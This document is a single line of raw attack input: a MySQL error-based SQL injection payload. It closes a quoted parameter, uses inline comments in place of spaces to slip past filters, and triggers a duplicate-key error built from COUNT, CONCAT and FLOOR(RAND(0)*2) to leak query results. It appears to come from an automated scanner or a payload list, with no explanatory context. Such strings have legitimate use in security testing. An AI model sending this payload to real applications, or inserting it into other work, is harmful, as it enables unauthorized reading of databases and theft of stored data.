1' AND AND/**/ROW(1148,8642)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1148=1148,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7181/**/UNION/**/SELECT/**/4622/**/UNION/**/SELECT/**/6391/**/UNION/**/SELECT/**/4384)a/**/GROUP/**/BY/**/x)-- -